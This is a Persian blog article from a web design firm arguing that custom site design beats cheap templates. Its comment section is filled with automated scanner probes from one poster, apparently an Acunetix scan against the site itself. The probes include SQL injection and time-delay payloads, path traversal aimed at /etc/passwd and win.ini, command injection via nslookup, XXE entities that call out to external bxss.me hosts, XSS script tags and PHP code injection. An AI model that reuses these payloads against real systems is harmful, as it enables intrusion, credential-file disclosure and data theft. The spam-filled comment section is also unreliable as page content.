بازگشت به لیست مقالات

خرید سایت

اغلب کاربرانی که عبارت خرید سایت را گوگل میکنند،یا به دنبال یک سایت آماده یا قالب آماده که حتی الامکان ارزان یا رایگان باشد میگردند،یا به دنبال خرید دامنه و هاست (chitahost.com) میباشند و در بهترین حالت در جستجوی قیمت طراحی سایت میباشند.زیرا عبارت مناسب تر برای جستجو جهت داشتن یک وب سایت خوب  و حرفه ای عبارت طراحی سایت میباشد.

کاربر گرامی،خود کرده را تدبیر نیست،قدری حوصله به خرج دهید و ضرر نکنید!

انگلیسی ها یک ضرب المثل دارند که میگویند "آنقدر پولدار نيستيم كه جنسِ ارزان بخريم" یا در مورد دست فروش ها حتما شنیده اید که "هیچ ارزانی بی حکمت نیست" همه ی ما تا به حال در زندگی چوب صرفه جویی های بی مورد را خورده ایم،جنس ارزانی خریدیم که بعد مدت کوتاهی از کار افتاده و مجبور شدیم برویم همان جنس گرانتر که حاضر نبودیم از ابتدا بخریم را خریداری کنیم،اینبار ما برای پیشگیری از این اتفاق دست به کار شدیم.....

اگر به دنبال سایت ارزان و رایگان هستید،داشتن بلاگ رو به شما توصیه میکنیم.زیرا نه وارد دشواری های مسیر تهیه و تمدید و رسیدگی به هاست و دامنه میشوید،نه به لحاظ ظاهر از سایت های رایگان عقبید نه به لحاظ رتبه ی گوگل مشکل خواهید داشت.

پس قبل از تصمیم برای تهیه سایت همونطور که در مقاله ی اشتباهات طراحی سایت اشاره شد باید دقیقا بدانید که به چه منظور میخواهید به یک شرکت طراحی سایت مراجعه کنید.مخاطب محتوای سایت شما کیست و با چه جامعه آماری؟یقین داشته باشید همانطور که از روی وضعیت ظاهر شما راجع به شخصیتتان قضاوت میگردد،از وضعیت سایتتان راجع وضعیت کسب و کارتان و هرآنچه در موردش نوشته اید قضاوت مستقیم میگردد.پس تا حدی در خرج کردن صرفه جویی کنید که بعدا پیشمانی به همراه نداشته باشد.زیرا صرفا داشتن سایت تضمینی برا افزایش سهم جذبتان از بازار نیست.

در نظر داشته باشید که خرید قالب های آماده نیز معایبی چون موارد یاد شده ذیل را به همراه خواهد داشت:

  • تکراری بودن و منحصر به فرد نبودن
  • انعطاف پذیزی کم برای اجرا تغییرات
  • امکانات اضافی و سرعت بالا آمدن کند
  • عدم پشتیبانی مناسب برای رفع مشکلات و ایجاد تغییرات
  • طراحی معمولی و اغلب غیر واکنش گرا 
  • امنیت تامین نشده
  • بهینه سازی نشده برای موتور های جستجو

توجه داشته باشید که طراحی سایت شرکتی ، فروشگاهی و شخصی کاملا با یکدیگر متفاوت است،حتی دو سایت شرکتی در دو زمینه ی مختلف(املاک و ساختمان)،طراحی متفاوتی داردند.و حتی دو سایت هم موضوع لزوما به لحاظ امکانات یکسان نیستند.پس به میزانی که به تفاوت خود با سایرین بها میدهید به سایتی که قرار است ویترین کسب و کار و موضوعات ارائه شده توسط شده باشد،بها دهید.سایتی که برای شخص شما و با سلقیه ی خودتان توسط گرافیست مجرب طراحی شود،توسط back end کار حرفه ای طرح ریزی شود و توسط برنامه نویسی سایت اجرا شود به مراتب دلچسب تر از سایتی است که هیچ گونه زحمت خاصی برای ارائه دهنده نداشته است

جهت گرفتن مشاوره و اطلاع از تعرفه طراحی سایت از فرم ارتباط با ما یا شماره تلفن 02188484068 استفاده فرمایید

 

دسته بندی: آموزشی

نظرات کاربران

200 نظر

e

۰۶ اردیبهشت ۱۳۹۶ | ۰۵:۱۳

response.write(9894390*9508373)

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'+response.write(9894390*9508373)+'

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

"+response.write(9894390*9508373)+"

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

qDR0tL2b

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1 OR 2+225-225-1=0+0+0+1 --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1 OR 2+101-101-1=0+0+0+1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1' OR 2+109-109-1=0+0+0+1 --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1' OR 2+204-204-1=0+0+0+1 or '57SNVDA7'='

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1" OR 2+487-487-1=0+0+0+1 --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1; waitfor delay '0:0:3' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

set|set&set

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1); waitfor delay '0:0:3' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

$(nslookup ETePYrEn)

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1 waitfor delay '0:0:3' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

Mz7w9cJC'; waitfor delay '0:0:6' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

&nslookup PZGIbMzc&'\"`0&nslookup PZGIbMzc&`'

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1;select pg_sleep(6); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1);select pg_sleep(6); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

enWRshzZ

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1));select pg_sleep(6); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

KxZH1WJH';select pg_sleep(9); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

NXxX2QOi');select pg_sleep(9); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

qAF3MtKB'));select pg_sleep(9); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../../../../../../proc/version

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

12345'"\'\");|]*{ <>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../etc/passwd.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

${10000402+9999698}

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/../..//../..//../..//../..//../..//etc/passwd.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

%2fetc%2fpasswd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/.././.././.././.././.././.././.././../etc/./passwd%00

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1some_inexistent_file_with_long_name.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

Http://testasp.vulnweb.com/t/fit.txt

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://testasp.vulnweb.com/t/fit.txt?.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

testasp.vulnweb.com

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

file:///etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/\../\../\../\../\../\../\../etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF/web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

&n946424=v933834

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/WEB-INF/web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF\web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../boot.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../windows/win.ini.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

)

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

!(()&&!|*|*|

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

................windowswin.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

^(#$!@#$)(()))******

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..\..\..\..\..\..\..\..\windows\win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF/web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

WEB-INF\web.xml

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

;print(md5(acunetix_wvs_security_test));

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

';print(md5(acunetix_wvs_security_test));$a='

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'"()

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

";print(md5(acunetix_wvs_security_test));$a="

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://testasp.vulnweb.com/t/xss.html?%00.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

${@print(md5(acunetix_wvs_security_test))}

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

${@print(md5(acunetix_wvs_security_test))}\

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

comment

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

comment

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://hiterkqNa0MlP.bxss.me/

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

comment/.

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1'"

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

\

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

@@BXvND

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/www.vulnweb.com

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

JyI=

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://hitngcULGx84C.bxss.me/"> ]> <xxx>&acunetixent;</xxx>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'"

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

(select convert(int,CHAR(65)))

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<!--

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://hitDL9oJIEOro.bxss.me/"> <roottag>acunetix</roottag>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<xi:include href="http://hitTbm4kRFq4T.bxss.me/" parse="text"/>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1'"()&%<acx><ScRiPt >sGz8(9337)</ScRiPt>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://hitHUDOdbMpol.bxss.me/"> %xxe; ]>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'"()&%<acx><ScRiPt >sGz8(9540)</ScRiPt>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1_9047

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE body SYSTEM "http://hitlX1jrW5EFB.bxss.me/"> <body><method>test</method></body>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

response.write(9511312*9893803)

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

'+response.write(9511312*9893803)+'

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

"+response.write(9511312*9893803)+"

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

X8pLWSel

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1 OR 2+982-982-1=0+0+0+1 --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

set|set&set

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1 OR 2+901-901-1=0+0+0+1

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

$(nslookup RmS6c9TU)

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1' OR 2+902-902-1=0+0+0+1 --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

&nslookup paLZcEnW&'\"`0&nslookup paLZcEnW&`'

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1' OR 2+395-395-1=0+0+0+1 or 'wfrDR97P'='

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

TM0tYKRW

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1" OR 2+383-383-1=0+0+0+1 --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../../../../../../proc/version

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1; waitfor delay '0:0:9' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

${10000249+9999748}

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

12345'"\'\");|]*{ <>

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1); waitfor delay '0:0:9' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

../../../../../../../../../../etc/passwd.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1 waitfor delay '0:0:3' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

Wz9pIu6C'; waitfor delay '0:0:3' --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/../..//../..//../..//../..//../..//etc/passwd.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

1some_inexistent_file_with_long_name.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1;select pg_sleep(3); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1);select pg_sleep(3); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

Http://testasp.vulnweb.com/t/fit.txt

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/etc/passwd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

-1));select pg_sleep(3); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

http://testasp.vulnweb.com/t/fit.txt?.jpg

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

%2fetc%2fpasswd

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

VASxBD0p';select pg_sleep(3); --

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

testasp.vulnweb.com

e

۰۶ اردیبهشت ۱۳۹۶ | ۱۲:۱۳

/.././.././.././.././.././.././.././../etc/./passwd%00

e

